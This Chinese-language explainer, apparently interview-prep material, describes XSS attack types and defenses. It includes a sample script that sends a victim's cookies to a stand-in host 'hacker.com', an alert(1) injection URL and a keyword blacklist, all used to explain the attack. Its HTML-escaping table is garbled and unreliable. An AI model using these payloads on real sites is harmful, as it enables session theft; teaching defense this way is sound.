什么是 XSS(跨站脚本攻击)?如何防御?
XSS(Cross-Site Scripting,跨站脚本攻击) 是一种常见的 Web 安全漏洞。为了避免与 CSS(层叠样式表)缩写混淆,因此被称为 XSS。
简单来说,XSS 攻击允许恶意攻击者将恶意代码(通常是 JavaScript,但也包括 HTML、Flash 等)注入到用户浏览的网页中。当受害者访问这些网页时,浏览器会执行这些恶意代码,从而导致用户信息泄露或被恶意操作。
一、 XSS 的攻击原理
Web 浏览器通常会无条件地信任服务器发送过来的 HTML 和脚本。如果网站没有对用户提交的数据进行严格的过滤或转义,直接将其显示在页面上,攻击者就可以利用这一点。
核心流程:
- 攻击者构造一段恶意脚本(例如
<script>document.location='http://hacker.com?cookie='+document.cookie</script>)。 - 攻击者通过某种方式将这段脚本注入到目标网站的页面中。
- 受害者访问该页面。
- 受害者的浏览器执行了这段脚本。
- 脚本窃取受害者的 Cookie、Session ID,或者进行其他恶意操作。
二、 XSS 的三种主要类型
根据攻击代码的存储位置和触发方式,XSS 主要分为三类:
1. 存储型 XSS (Stored XSS) —— 最危险
- 原理:恶意代码被永久存储在目标服务器的数据库、文件系统或论坛帖子中。
- 场景:论坛留言、商品评论、用户个人简介。
- 过程:
- 攻击者在评论区提交包含恶意脚本的评论。
- 服务器将评论保存到数据库。
- 任何用户(包括管理员)访问该评论页面时,服务器从数据库取出恶意代码并渲染给浏览器。
- 脚本在所有访问者的浏览器中执行。
2. 反射型 XSS (Reflected XSS)
- 原理:恶意代码没有存储在服务器上,而是作为请求的一部分(通常在 URL 参数中)发送给服务器,服务器又将该参数“反射”回页面显示。
- 场景:网站搜索结果、错误提示页面。
- 过程:
- 攻击者构造一个包含恶意脚本的 URL(例如
http://example.com/search?q=<script>alert(1)</script>)。 - 攻击者诱导受害者点击这个链接(通过邮件、社交媒体)。
- 受害者点击后,服务器接收请求,并将 URL 中的脚本作为搜索关键词显示在页面上。
- 浏览器执行脚本。
- 攻击者构造一个包含恶意脚本的 URL(例如
3. DOM 型 XSS (DOM-based XSS)
- 原理:不需要服务器参与,完全发生在客户端。是由于前端 JavaScript 代码逻辑不严谨,从 DOM 环境(如
location.hash,document.referrer)中获取数据并直接修改页面结构(如innerHTML,document.write)导致的。 - 场景:复杂的前端单页应用(SPA)。
- 过程:
- 攻击者构造 URL。
- 受害者访问 URL。
- 前端 JS 代码读取 URL 中的参数,不经处理直接插入到 HTML 标签中,导致脚本执行。
三、 XSS 的危害
- 窃取 Cookie/Session:攻击者获取用户身份凭证,从而盗号。
- 监听用户行为:记录键盘输入(Keylogger),窃取信用卡信息或密码。
- 修改页面内容:篡改网页展示信息(钓鱼),诱导用户下载恶意软件。
- 蠕虫传播:在社交网站上自动关注、转发、发帖,导致病毒式扩散。
四、 如何防御 XSS?
防御 XSS 的核心原则是:永远不要信任用户的输入,并对输出进行处理。
1. 输入过滤 (Input Validation)
在数据进入服务器之前进行检查。
- 白名单验证:只允许特定的字符或格式(例如,年龄只能是数字,URL 必须以 http 开头)。
- 黑名单过滤:过滤掉
<script>,javascript:,onclick等敏感关键字(但这种方式容易被绕过,不建议作为唯一手段)。
2. 输出转义/编码 (Output Encoding) —— 最有效的防御手段
在将数据输出到 HTML 页面之前,将特殊字符转换为 HTML 实体。这样浏览器会将其视为普通文本,而不是可执行的代码。
- 关键字符转义:
&->&<-><>->>"->"'->'/->/
- 注意上下文:在 HTML 标签内、属性内、JavaScript 代码内、CSS 内,转义规则是不同的。
3. 使用 HttpOnly Cookie
将敏感的 Cookie(如 Session ID)标记为 HttpOnly。
- 作用:禁止 JavaScript 通过
document.cookie读取该 Cookie。 - 效果:即使发生了 XSS 攻击,攻击者也无法窃取用户的登录凭证。
4. 内容安全策略 (CSP - Content Security Policy)
CSP 是一个 HTTP 响应头,允许网站管理员声明允许加载哪些资源。
- 作用:
- 禁止加载外部域名的脚本。
- 禁止内联脚本(Inline Script,即直接写在 HTML 里的
<script>)。 - 禁止
eval()等危险函数。
- 示例:
Content-Security-Policy: default-src 'self'(只允许加载本域名的资源)。
5. 使用现代 Web 框架
现代前端框架(如 React, Vue, Angular)在默认情况下会自动对数据进行转义。
- 只要不刻意使用
v-html(Vue) 或dangerouslySetInnerHTML(React),框架通常能防御大部分 XSS 攻击。
总结
XSS 是利用浏览器对服务器内容的信任来执行恶意代码。防御的关键在于“输入做检查,输出做转义”,并配合 CSP 和 HttpOnly 等安全策略建立纵深防御体系。
右滑查看面试常问